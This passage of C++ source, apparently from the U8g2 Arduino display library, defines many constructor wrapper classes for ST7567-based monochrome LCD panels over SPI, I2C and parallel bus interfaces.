u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064i_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064I_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064i_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064I_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064i_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064I_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064i_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_ENH_DG128064I_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064i_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_ENH_DG128064I_F_6800 : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064i_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064I_F_8080 : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064i_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_OS12864_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_OS12864_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_os12864_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_OS12864_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_OS12864_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_os12864_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_OS12864_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_OS12864_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_os12864_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_OS12864_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_OS12864_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_os12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_OS12864_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_OS12864_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_os12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_OS12864_F_6800 : public U8G2 { public: U8G2_ST7567_OS12864_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_os12864_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_OS12864_F_8080 : public U8G2 { public: U8G2_ST7567_OS12864_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_os12864_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_JLX12864_1_SW_I2C : public U8G2 { public: U8G2_ST7567_JLX12864_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_JLX12864_1_HW_I2C : public U8G2 { public: U8G2_ST7567_JLX12864_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_JLX12864_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_JLX12864_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_ENH_DG128064_1_SW_I2C : public U8G2 { public: U8G2_ST7567_ENH_DG128064_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_enh_dg128064_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_ENH_DG128064_1_HW_I2C : public U8G2 { public: U8G2_ST7567_ENH_DG128064_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_enh_dg128064_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_ENH_DG128064_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_ENH_DG128064_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_enh_dg128064_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_ENH_DG128064I_1_SW_I2C : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_enh_dg128064i_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_ENH_DG128064I_1_HW_I2C : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_enh_dg128064i_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_ENH_DG128064I_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_enh_dg128064i_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_OS12864_1_SW_I2C : public U8G2 { public: U8G2_ST7567_OS12864_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_os12864_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_OS12864_1_HW_I2C : public U8G2 { public: U8G2_ST7567_OS12864_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_os12864_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_OS12864_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_OS12864_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_os12864_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_JLX12864_2_SW_I2C : public U8G2 { public: U8G2_ST7567_JLX12864_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_JLX12864_2_HW_I2C : public U8G2 { public: U8G2_ST7567_JLX12864_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_JLX12864_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_JLX12864_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_ENH_DG128064_2_SW_I2C : public U8G2 { public: U8G2_ST7567_ENH_DG128064_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_enh_dg128064_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_ENH_DG128064_2_HW_I2C : public U8G2 { public: U8G2_ST7567_ENH_DG128064_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_enh_dg128064_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_ENH_DG128064_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_ENH_DG128064_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_enh_dg128064_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_ENH_DG128064I_2_SW_I2C : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_enh_dg128064i_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_ENH_DG128064I_2_HW_I2C : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_enh_dg128064i_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_ENH_DG128064I_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_enh_dg128064i_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_OS12864_2_SW_I2C : public U8G2 { public: U8G2_ST7567_OS12864_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_os12864_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_OS12864_2_HW_I2C : public U8G2 { public: U8G2_ST7567_OS12864_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_os12864_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_OS12864_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_OS12864_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_os12864_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_JLX12864_F_SW_I2C : public U8G2 { public: U8G2_ST7567_JLX12864_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_JLX12864_F_HW_I2C : public U8G2 { public: U8G2_ST7567_JLX12864_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_JLX12864_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_JLX12864_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_ENH_DG128064_F_SW_I2C : public U8G2 { public: U8G2_ST7567_ENH_DG128064_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_enh_dg128064_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_ENH_DG128064_F_HW_I2C : public U8G2 { public: U8G2_ST7567_ENH_DG128064_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_enh_dg128064_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_ENH_DG128064_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_ENH_DG128064_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_enh_dg128064_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_ENH_DG128064I_F_SW_I2C : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_enh_dg128064i_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_ENH_DG128064I_F_HW_I2C : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_enh_dg128064i_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_ENH_DG128064I_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_ENH_DG128064I_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_enh_dg128064i_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_OS12864_F_SW_I2C : public U8G2 { public: U8G2_ST7567_OS12864_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_os12864_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_OS12864_F_HW_I2C : public U8G2 { public: U8G2_ST7567_OS12864_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_os12864_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_OS12864_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_OS12864_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_os12864_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_ERC13232_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_ERC13232_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_erc13232_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_ERC13232_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_ERC13232_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_erc13232_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_ERC13232_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_ERC13232_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_erc13232_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_ERC13232_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_ERC13232_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_erc13232_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_ERC13232_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_ERC13232_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_erc13232_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_ERC13232_1_6800 : public U8G2 { public: U8G2_ST7567_ERC13232_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_erc13232_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_ERC13232_1_8080 : public U8G2 { public: U8G2_ST7567_ERC13232_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_erc13232_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_ERC13232_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_ERC13232_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_erc13232_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_ERC13232_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_ERC13232_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_erc13232_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_ERC13232_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_ERC13232_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_erc13232_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_ERC13232_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_ERC13232_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_erc13232_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_ERC13232_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_ERC13232_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t 